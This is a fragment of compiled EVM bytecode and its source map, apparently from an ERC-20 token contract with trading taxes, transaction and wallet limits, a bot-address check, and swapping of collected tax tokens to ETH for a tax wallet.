5090565b5f610438848484610b6f565b61048984336104848560405180606001604052806021815260200161198b602191396001600160a01b038a165f908152600260209081526040808320338452909152902054919061124a565b610a63565b5060019392505050565b60065461010090046001600160a01b0316330361053f576104b66009600a6117e9565b6104c4906311e1a3006117f7565b600f556104d36009600a6117e9565b6104e1906311e1a3006117f7565b6010556006805460ff191690555f600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61051f6009600a6117e9565b61052d906311e1a3006117f7565b60405190815260200160405180910390a15b565b5f546001600160a01b031633146105735760405162461bcd60e51b815260040161056a9061180e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e45760405162461bcd60e51b815260040161056a9061180e565b601454600160a01b900460ff161561063e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161056a565b6014805463ffff00ff60a01b1916630101000160a01b179055565b5f610402338484610b6f565b5f546001600160a01b0316331461068e5760405162461bcd60e51b815260040161056a9061180e565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d79030906106c96009600a6117e9565b610484906311e1a3006117f7565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610727573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074b9190611843565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ce9190611843565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610818573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083c9190611843565b601480546001600160a01b039283166001600160a01b031990911681179091555f90815260036020526040808220805460ff199081166001908117909255601380548616855292909320805490931617909155541663f305d71947306108b6816001600160a01b03165f9081526001602052604090205490565b5f806108c95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610954919061185e565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd9190611889565b50565b60065461010090046001600160a01b03163303610a5357305f908152600160205260409020548015610a5157610a51610a0b6009600a6117e9565b610a19906311e1a3006117f7565b8211610a255781611282565b610a316009600a6117e9565b610a3f906311e1a3006117f7565b610a4c906201cb916117f7565b611282565b505b4780156109cd576109cd8161140f565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152601d60248201527f617070726f76652066726f6d20746865207a65726f2061646472657373000000604482015260640161056a565b6001600160a01b038216610b0f5760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161056a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc55760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161056a565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161056a565b5f8111610c7c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161056a565b6001600160a01b0383165f9081526001602052604081205482118015610caa57506001600160a01b03831630145b90505f610cbe5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610cec57505f546001600160a01b03858116911614155b8015610d0157506001600160a01b0385163014155b156110d5576001600160a01b0385165f9081526004602052604090205460ff16158015610d4657506001600160a01b0384165f9081526004602052604090205460ff16155b610d4e575f80fd5b60065460ff1615610df9576013546001600160a01b03858116911614801590610d8557506014546001600160a01b03858116911614155b15610df957325f908152600560205260409020544311610de75760405162461bcd60e51b815260206004820152601b60248201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b0000000000604482015260640161056a565b325f9081526005602052604090204390555b6014546001600160a01b038681169116148015610e2457506013546001600160a01b03858116911614155b8015610e4857506001600160a01b0384165f9081526003602052604090205460ff16155b15610f8257601454600160a01b900460ff16610e9c5760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b604482015260640161056a565b600f54831115610ee45760405162461bcd60e51b8152602060048201526013602482015272115e18d959591cc81b585e151e105b5bdd5b9d606a1b604482015260640161056a565b60105483610f06866001600160a01b03165f9081526001602052604090205490565b610f1091906118a8565b1115610f565760405162461bcd60e51b815260206004820152601560248201527445786365656473206d617857616c6c657453697a6560581b604482015260640161056a565b600d54600e541015610f6d57833b15610f6d575f80fd5b600e8054905f610f7c836118bb565b91905055505b610fae6064610fa8600b54600e5411610f9d57600754610fa1565b6009545b869061144a565b906114cf565b6014549091506001600160a01b038581169116148015610fd757506001600160a01b0385163014155b1561104c57600f548311156110245760405162461bcd60e51b8152602060048201526013602482015272115e18d959591cc81b585e151e105b5bdd5b9d606a1b604482015260640161056a565b6110496064610fa8600c54600e541161103f57600854610fa1565b600a54869061144a565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561108257506014546001600160a01b038681169116145b80156110975750601454600160b01b900460ff165b80156110a4575060115481115b80156110b35750600d54600e54115b156110d3576110c181611282565b4780156110d1576110d14761140f565b505b505b601454600160b81b900460ff166110e957505f5b801561116157305f908152600160205260409020546111089082611510565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111589085815260200190565b60405180910390a35b6111a6611188831561117f5783156111795784611181565b5f611181565b5f5b859061156e565b6001600160a01b0387165f908152600160205260409020549061156e565b6001600160a01b0386165f908152600160205260409020556111e96111cb848361156e565b6001600160a01b0386165f9081526001602052604090205490611510565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611232868561156e565b60405190815260200160405180910390a35050505050565b5f818484111561126d5760405162461bcd60e51b815260040161056a91906115db565b505f61127984866118d3565b95945050505050565b6014805460ff60a81b1916600160a81b17905580156113ff57601454600160a01b900460ff16156113ff576040805160028082526060820183525f9260208301908036833701905050905030815f815181106112e0576112e06118e6565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611337573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061135b9190611843565b8160018151811061136e5761136e6118e6565b6001600160a01b0392831660209182029290920101526013546113949130911684610a63565b60135460155460405163791ac94760e01b81526001600160a01b039283169263791ac947926113d09287925f92889291169042906004016118fa565b5f604051808303815f87803b1580156113e7575f80fd5b505af11580156113f9573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6015546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611446573d5f803e3d5ffd5b5050565b5f825f0361145957505f610406565b5f61146483856117f7565b905082611471858361196b565b146114c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161056a565b9392505050565b5f6114c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115af565b5f8061151c83856118a8565b9050838110156114c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161056a565b5f6114c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124a565b5f81836115cf5760405162461bcd60e51b815260040161056a91906115db565b505f611279848661196b565b5f602080835283518060208501525f5b81811015611607578581018301518582016040015282016115eb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109cd575f80fd5b5f806040838503121561164c575f80fd5b823561165781611627565b946020939093013593505050565b5f805f60608486031215611677575f80fd5b833561168281611627565b9250602084013561169281611627565b929592945050506040919091013590565b5f602082840312156116b3575f80fd5b81356114c881611627565b5f80604083850312156116cf575f80fd5b82356116da81611627565b915060208301356116ea81611627565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174357815f1904821115611729576117296116f5565b8085161561173657918102915b93841c939080029061170e565b509250929050565b5f8261175957506001610406565b8161176557505f610406565b816001811461177b5760028114611785576117a1565b6001915050610406565b60ff841115611796576117966116f5565b50506001821b610406565b5060208310610133831016604e8410600b84101617156117c4575081810a610406565b6117ce8383611709565b805f19048211156117e1576117e16116f5565b029392505050565b5f6114c860ff84168361174b565b8082028115828204841417610406576104066116f5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611853575f80fd5b81516114c881611627565b5f805f60608486031215611870575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611899575f80fd5b815180151581146114c8575f80fd5b80820180821115610406576104066116f5565b5f600182016118cc576118cc6116f5565b5060010190565b81810381811115610406576104066116f5565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561194a5784516001600160a01b031683529383019391830191600101611925565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261198557634e487b7160e01b5f52601260045260245ffd5b50049056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a3669ee5e47f5886bc4704bb64c174c7bc630ca72c7a3df4ad9704a413af4c764736f6c63430008160033

Deployed Bytecode Sourcemap

3600:9179:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5570:83;;;;;;;;;;-1:-1:-1;5640:5:0;;;;;;;;;;;;-1:-1:-1;;;5640:5:0;;;;5570:83;;;;;;;:::i;:::-;;;;;;;;6403:161;;;;;;;;;;-1:-1:-1;6403:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6403:161:0;1023:187:1;4807:49:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4807:49:0;1215:177:1;5847:95:0;;;;;;;;;;;;;:::i;6572:306::-;;;;;;;;;;-1:-1:-1;6572:306:0;;;;;:::i;:::-;;:::i;5756:83::-;;;;;;;;;;-1:-1:-1;5756:83:0;;4434:1;2000:36:1;;1988:2;1973:18;5756:83:0;1858:184:1;10592:293:0;;;;;;;;;;;;;:::i;:::-;;5950:119;;;;;;;;;;-1:-1:-1;5950:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6043:18:0;6016:7;6043:18;;;:9;:18;;;;;;;5950:119;2681:148;;;;;;;;;;;;;:::i;4621:55::-;;;;;;;;;;;;;;;;11807:201;;;;;;;;;;;;;:::i;2467:79::-;;;;;;;;;;-1:-1:-1;2505:7:0;2532:6;2467:79;;-1:-1:-1;;;;;2532:6:0;;;2445:51:1;;2433:2;2418:18;2467:79:0;2299:203:1;11007:99:0;;;;;;;;;;-1:-1:-1;11007:99:0;;;;;:::i;:::-;-1:-1:-1;;;;;11085:13:0;11062:4;11085:13;;;:4;:13;;;;;;;;;11007:99;4683:55;;;;;;;;;;;;;;;;5661:87;;;;;;;;;;-1:-1:-1;5733:7:0;;;;;;;;;;;;-1:-1:-1;;;5733:7:0;;;;5661:87;;6077:167;;;;;;;;;;-1:-1:-1;6077:167:0;;;;;:::i;:::-;;:::i;11114:685::-;;;;;;;;;;;;;:::i;4745:55::-;;;;;;;;;;;;;;;;3990:40;;;;;;;;;;-1:-1:-1;3990:40:0;;;;;;;;12356:420;;;;;;;;;;;;;:::i;6252:143::-;;;;;;;;;;-1:-1:-1;6252:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6360:18:0;;;6333:7;6360:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6252:143;6403:161;6478:4;6495:39;302:10;6518:7;6527:6;6495:8;:39::i;:::-;-1:-1:-1;6552:4:0;6403:161;;;;;:::o;5847:95::-;5900:7;4489:13;4434:1;4489:2;:13;:::i;:::-;4477:25;;:9;:25;:::i;:::-;5920:14;;5847:95;:::o;6572:306::-;6670:4;6687:36;6697:6;6705:9;6716:6;6687:9;:36::i;:::-;6734:114;6743:6;302:10;6765:82;6803:6;6765:82;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6765:19:0;;;;;;:11;:19;;;;;;;;302:10;6765:33;;;;;;;;;;:37;:82::i;:::-;6734:8;:114::i;:::-;-1:-1:-1;6866:4:0;6572:306;;;;;:::o;10592:293::-;10657:10;;;;;-1:-1:-1;;;;;10657:10:0;302;10643:24;10640:238;;4489:13;4434:1;4489:2;:13;:::i;:::-;4477:25;;:9;:25;:::i;:::-;10684:12;:22;4489:13;4434:1;4489:2;:13;:::i;:::-;4477:25;;:9;:25;:::i;:::-;10721:14;:22;10758:20;:26;;-1:-1:-1;;10758:26:0;;;10779:5;10799:18;:20;10839:27;4489:13;4434:1;-1:-1:-1;4489:13:0;:::i;:::-;4477:25;;:9;:25;:::i;:::-;10839:27;;1361:25:1;;;1349:2;1334:18;10839:27:0;;;;;;;10640:238;10592:293::o;2681:148::-;2594:6;;-1:-1:-1;;;;;2594:6:0;302:10;2594:22;2586:67;;;;-1:-1:-1;;;2586:67:0;;;;;;;:::i;:::-;;;;;;;;;2788:1:::1;2772:6:::0;;2751:40:::1;::::0;-1:-1:-1;;;;;2772:6:0;;::::1;::::0;2751:40:::1;::::0;2788:1;;2751:40:::1;2819:1;2802:19:::0;;-1:-1:-1;;;;;;2802:19:0::1;::::0;;2681:148::o;11807:201::-;2594:6;;-1:-1:-1;;;;;2594:6:0;302:10;2594:22;2586:67;;;;-1:-1:-1;;;2586:67:0;;;;;;;:::i;:::-;11873:11:::1;::::0;-1:-1:-1;;;11873:11:0;::::1;;;11872:12;11864:47;;;::::0;-1:-1:-1;;;11864:47:0;;5145:2:1;11864:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;11864:47:0::1;4943:347:1::0;11864:47:0::1;11922:13;:20:::0;;-1:-1:-1;;;;11982:18:0;-1:-1:-1;;;11982:18:0;;;11807:201::o;6077:167::-;6155:4;6172:42;302:10;6196:9;6207:6;6172:9;:42::i;11114:685::-;2594:6;;-1:-1:-1;;;;;2594:6:0;302:10;2594:22;2586:67;;;;-1:-1:-1;;;2586:67:0;;;;;;;:::i;:::-;11177:15:::1;:80:::0;;-1:-1:-1;;;;;;11177:80:0::1;11214:42;11177:80:::0;;::::1;::::0;;;11268:58:::1;::::0;11285:4:::1;::::0;4489:13:::1;4434:1;4489:2;:13;:::i;:::-;4477:25;::::0;:9:::1;:25;:::i;11268:58::-;11371:15;;;;;;;;;-1:-1:-1::0;;;;;11371:15:0::1;-1:-1:-1::0;;;;;11371:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11353:55:0::1;;11417:4;11424:15;;;;;;;;;-1:-1:-1::0;;;;;11424:15:0::1;-1:-1:-1::0;;;;;11424:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11353:94;::::0;-1:-1:-1;;;;;;11353:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;11353:94:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;11353:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11337:13;:110:::0;;-1:-1:-1;;;;;11337:110:0;;::::1;-1:-1:-1::0;;;;;;11337:110:0;;::::1;::::0;::::1;::::0;;;:13:::1;11458:42:::0;;;:18:::1;:42;::::0;;;;;:49;;-1:-1:-1;;11458:49:0;;::::1;11337:110:::0;11458:49;;::::1;::::0;;;11545:15:::1;::::0;;;::::1;11518:44:::0;;;;;;:51;;;;::::1;;::::0;;;11580:15;::::1;:31;11619:21;11650:4;11656:24;11650:4:::0;-1:-1:-1;;;;;6043:18:0;6016:7;6043:18;;;:9;:18;;;;;;;5950:119;11656:24:::1;11681:1;11683::::0;11685:7:::1;2505::::0;2532:6;-1:-1:-1;;;;;2532:6:0;;2467:79;11685:7:::1;11580:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11580:129:0;;;-1:-1:-1;;;;;6219:15:1;;;11580:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;11693:15:0::1;6433:19:1::0;;;6426:35;6135:19;;11580:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11727:13:0::1;::::0;11758:15:::1;::::0;11720:71:::1;::::0;-1:-1:-1;;;11720:71:0;;-1:-1:-1;;;;;11758:15:0;;::::1;11720:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;11727:13:0;::::1;::::0;-1:-1:-1;11720:29:0::1;::::0;6930:18:1;;11720:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11114:685::o:0;12356:420::-;12419:10;;;;;-1:-1:-1;;;;;12419:10:0;302;12405:24;12402:232;;12485:4;12446:20;6043:18;;;:9;:18;;;;;;12509:14;;12506:117;;12543:64;4489:13;4434:1;4489:2;:13;:::i;:::-;4477:25;;:9;:25;:::i;:::-;12560:12;:20;:46;;12594:12;12543:16;:64::i;12560:46::-;4489:13;4434:1;4489:2;:13;:::i;:::-;4477:25;;:9;:25;:::i;:::-;12581:12;;:4;:12;:::i;:::-;12543:16;:64::i;:::-;12431:203;12402:232;12663:21;12698:12;;12695:74;;12726:31;12746:10;12726:19;:31::i;6886:321::-;-1:-1:-1;;;;;6979:19:0;;6971:61;;;;-1:-1:-1;;;6971:61:0;;7546:2:1;6971:61:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:31;7604:18;;;7597:59;7673:18;;6971:61:0;7344:353:1;6971:61:0;-1:-1:-1;;;;;7051:21:0;;7043:61;;;;-1:-1:-1;;;7043:61:0;;7904:2:1;7043:61:0;;;7886:21:1;7943:2;7923:18;;;7916:30;7982:29;7962:18;;;7955:57;8029:18;;7043:61:0;7702:351:1;7043:61:0;-1:-1:-1;;;;;7115:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7167:32;;1361:25:1;;;7167:32:0;;1334:18:1;7167:32:0;;;;;;;6886:321;;;:::o;7215:2692::-;-1:-1:-1;;;;;7303:18:0;;7295:61;;;;-1:-1:-1;;;7295:61:0;;8260:2:1;7295:61:0;;;8242:21:1;8299:2;8279:18;;;8272:30;8338:32;8318:18;;;8311:60;8388:18;;7295:61:0;8058:354:1;7295:61:0;-1:-1:-1;;;;;7375:16:0;;7367:57;;;;-1:-1:-1;;;7367:57:0;;8619:2:1;7367:57:0;;;8601:21:1;8658:2;8638:18;;;8631:30;8697;8677:18;;;8670:58;8745:18;;7367:57:0;8417:352:1;7367:57:0;7452:1;7443:6;:10;7435:64;;;;-1:-1:-1;;;7435:64:0;;8976:2:1;7435:64:0;;;8958:21:1;9015:2;8995:18;;;8988:30;9054:34;9034:18;;;9027:62;-1:-1:-1;;;9105:18:1;;;9098:39;9154:19;;7435:64:0;8774:405:1;7435:64:0;-1:-1:-1;;;;;7526:15:0;;7510:13;7526:15;;;:9;:15;;;;;;:24;-1:-1:-1;7526:47:0;;;;-1:-1:-1;;;;;;7554:19:0;;7568:4;7554:19;7526:47;7510:63;;7584:17;7626:7;2505;2532:6;-1:-1:-1;;;;;2532:6:0;;2467:79;7626:7;-1:-1:-1;;;;;7618:15:0;:4;-1:-1:-1;;;;;7618:15:0;;;:32;;;;-1:-1:-1;2505:7:0;2532:6;-1:-1:-1;;;;;7637:13:0;;;2532:6;;7637:13;;7618:32;:57;;;;-1:-1:-1;;;;;;7654:21:0;;7670:4;7654:21;;7618:57;7614:1825;;;-1:-1:-1;;;;;7701:10:0;;;;;;:4;:10;;;;;;;;7700:11;:24;;;;-1:-1:-1;;;;;;7716:8:0;;;;;;:4;:8;;;;;;;;7715:9;7700:24;7692:33;;;;;;7746:20;;;;7742:341;;;7805:15;;-1:-1:-1;;;;;7791:30:0;;;7805:15;;7791:30;;;;:62;;-1:-1:-1;7839:13:0;;-1:-1:-1;;;;;7825:28:0;;;7839:13;;7825:28;;7791:62;7787:281;;;7915:9;7886:39;;;;:28;:39;;;;;;7928:12;-1:-1:-1;7878:93:0;;;;-1:-1:-1;;;7878:93:0;;9386:2:1;7878:93:0;;;9368:21:1;9425:2;9405:18;;;9398:30;9464:29;9444:18;;;9437:57;9511:18;;7878:93:0;9184:351:1;7878:93:0;8023:9;7994:39;;;;:28;:39;;;;;8036:12;7994:54;;7787:281;8111:13;;-1:-1:-1;;;;;8103:21:0;;;8111:13;;8103:21;:55;;;;-1:-1:-1;8142:15:0;;-1:-1:-1;;;;;8128:30:0;;;8142:15;;8128:30;;8103:55;:83;;;;-1:-1:-1;;;;;;8164:22:0;;;;;;:18;:22;;;;;;;;8162:24;8103:83;8099:480;;;8216:11;;-1:-1:-1;;;8216:11:0;;;;8208:42;;;;-1:-1:-1;;;8208:42:0;;9742:2:1;8208:42:0;;;9724:21:1;9781:2;9761:18;;;9754:30;-1:-1:-1;;;9800:18:1;;;9793:49;9859:18;;8208:42:0;9540:343:1;8208:42:0;8287:12;;8277:6;:22;;8269:54;;;;-1:-1:-1;;;8269:54:0;;10090:2:1;8269:54:0;;;10072:21:1;10129:2;10109:18;;;10102:30;-1:-1:-1;;;10148:18:1;;;10141:49;10207:18;;8269:54:0;9888:343:1;8269:54:0;8376:14;;8366:6;8350:13;8360:2;-1:-1:-1;;;;;6043:18:0;6016:7;6043:18;;;:9;:18;;;;;;;5950:119;8350:13;:22;;;;:::i;:::-;:40;;8342:74;;;;-1:-1:-1;;;8342:74:0;;10568:2:1;8342:74:0;;;10550:21:1;10607:2;10587:18;;;10580:30;-1:-1:-1;;;10626:18:1;;;10619:51;10687:18;;8342:74:0;10366:345:1;8342:74:0;8448:18;;8438:9;;:28;8435:99;;;12184:20;;12232:8;8490:24;;;;;;8552:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8099:480;8607:76;8679:3;8607:67;8629:15;;8619:9;;:25;8618:55;;8659:14;;8618:55;;;8646:12;;8618:55;8607:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8707:13;;8595:88;;-1:-1:-1;;;;;;8701:19:0;;;8707:13;;8701:19;:43;;;;-1:-1:-1;;;;;;8724:20:0;;8739:4;8724:20;;8701:43;8698:247;;;8783:12;;8773:6;:22;;8765:54;;;;-1:-1:-1;;;8765:54:0;;10090:2:1;8765:54:0;;;10072:21:1;10129:2;10109:18;;;10102:30;-1:-1:-1;;;10148:18:1;;;10141:49;10207:18;;8765:54:0;9888:343:1;8765:54:0;8850:79;8925:3;8850:70;8872:16;;8862:9;;:26;8861:58;;8904:15;;8861:58;;;8890:13;;8850:6;;:10;:70::i;:79::-;8838:91;;8698:247;9010:4;8961:28;6043:18;;;:9;:18;;;;;;9036:6;;-1:-1:-1;;;9036:6:0;;;;9035:7;:30;;;;-1:-1:-1;9052:13:0;;-1:-1:-1;;;;;9046:19:0;;;9052:13;;9046:19;9035:30;:45;;;;-1:-1:-1;9069:11:0;;-1:-1:-1;;;9069:11:0;;;;9035:45;:87;;;;;9105:17;;9084:20;:38;9035:87;:119;;;;;9136:18;;9126:9;;:28;9035:119;9031:397;;;9175:38;9192:20;9175:16;:38::i;:::-;9261:21;9304:22;;9301:112;;9351:42;9371:21;9351:19;:42::i;:::-;9156:272;9031:397;7677:1762;7614:1825;9456:13;;-1:-1:-1;;;9456:13:0;;;;9451:60;;-1:-1:-1;9498:1:0;9451:60;9524:11;;9521:165;;9594:4;9576:24;;;;:9;:24;;;;;;:39;;9605:9;9576:28;:39::i;:::-;9569:4;9551:24;;;;:9;:24;;;;;;;:64;;;;9635:39;;-1:-1:-1;;;;;9635:39:0;;;;;;;9664:9;1361:25:1;;1349:2;1334:18;;1215:177;9635:39:0;;;;;;;;9521:165;9714:63;9734:42;9746:8;9745:9;:30;;9758:8;9757:9;:18;;9769:6;9745:30;;9757:18;9767:1;9745:30;;;9755:1;9745:30;9734:6;;:10;:42::i;:::-;-1:-1:-1;;;;;9714:15:0;;;;;;:9;:15;;;;;;;:19;:63::i;:::-;-1:-1:-1;;;;;9698:15:0;;;;;;:9;:15;;;;;:79;9802:40;9820:21;:6;9831:9;9820:10;:21::i;:::-;-1:-1:-1;;;;;9802:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9788:13:0;;;;;;;:9;:13;;;;;:54;;;;9858:41;;;9877:21;:6;9888:9;9877:10;:21::i;:::-;9858:41;;1361:25:1;;;1349:2;1334:18;9858:41:0;;;;;;;7284:2623;;7215:2692;;;:::o;1359:190::-;1445:7;1481:12;1473:6;;;;1465:29;;;;-1:-1:-1;;;1465:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1505:9:0;1517:5;1521:1;1517;:5;:::i;:::-;1505:17;1359:190;-1:-1:-1;;;;;1359:190:0:o;10025:559::-;5179:6;:13;;-1:-1:-1;;;;5179:13:0;-1:-1:-1;;;5179:13:0;;;10103:27;;10122:7:::1;10103:27;10144:11;::::0;-1:-1:-1;;;10144:11:0;::::1;;;10140:25:::0;10157:7:::1;10140:25;10199:16;::::0;;10213:1:::1;10199:16:::0;;;;;::::1;::::0;;10175:21:::1;::::0;10199:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10199:16:0::1;10175:40;;10244:4;10226;10231:1;10226:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10226:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10270:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10270:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10226:7;;10270:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10260:4;10265:1;10260:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10260:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10335:15:::1;::::0;10303:62:::1;::::0;10320:4:::1;::::0;10335:15:::1;10353:11:::0;10303:8:::1;:62::i;:::-;10376:15;::::0;10518:17:::1;::::0;10376:200:::1;::::0;-1:-1:-1;;;10376:200:0;;-1:-1:-1;;;;;10376:15:0;;::::1;::::0;:66:::1;::::0;:200:::1;::::0;10457:11;;10376:15:::1;::::0;10499:4;;10518:17;::::1;::::0;10550:15:::1;::::0;10376:200:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10092:492;5203:1;-1:-1:-1::0;5215:6:0;:14;;-1:-1:-1;;;;5215:14:0;;;10025:559::o;10893:106::-;10957:17;;:34;;-1:-1:-1;;;;;10957:17:0;;;;:34;;;;;10984:6;;10957:17;:34;:17;:34;10984:6;10957:17;:34;;;;;;;;;;;;;;;;;;;;;10893:106;:::o;1557:246::-;1615:7;1639:1;1644;1639:6;1635:47;;-1:-1:-1;1669:1:0;1662:8;;1635:47;1692:9;1704:5;1708:1;1704;:5;:::i;:::-;1692:17;-1:-1:-1;1737:1:0;1728:5;1732:1;1692:17;1728:5;:::i;:::-;:10;1720:56;;;;-1:-1:-1;;;1720:56:0;;12670:2:1;1720:56:0;;;12652:21:1;12709:2;12689:18;;;12682:30;12748:34;12728:18;;;12721:62;-1:-1:-1;;;12799:18:1;;;12792:31;12840:19;;1720:56:0;12468:397:1;1720:56:0;1794:1;1557:246;-1:-1:-1;;;1557:246:0:o;1811:132::-;1869:7;1896:39;1900:1;1903;1896:39;;;;;;;;;;;;;;;;;:3;:39::i;1028:179::-;1086:7;;1118:5;1122:1;1118;:5;:::i;:::-;1106:17;;1147:1;1142;:6;;1134:46;;;;-1:-1:-1;;;1134:46:0;;13072:2:1;1134:46:0;;;13054:21:1;13111:2;13091:18;;;13084:30;13150:29;13130:18;;;13123:57;13197:18;;1134:46:0;12870:351:1;1215:136:0;1273:7;1300:43;1304:1;1307;1300:43;;;;;;;;;;;;;;;;;:3;:43::i;1951:189::-;2037:7;2072:12;2065:5;2057:28;;;;-1:-1:-1;;;2057:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2096:9:0;2108:5;2112:1;2108;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;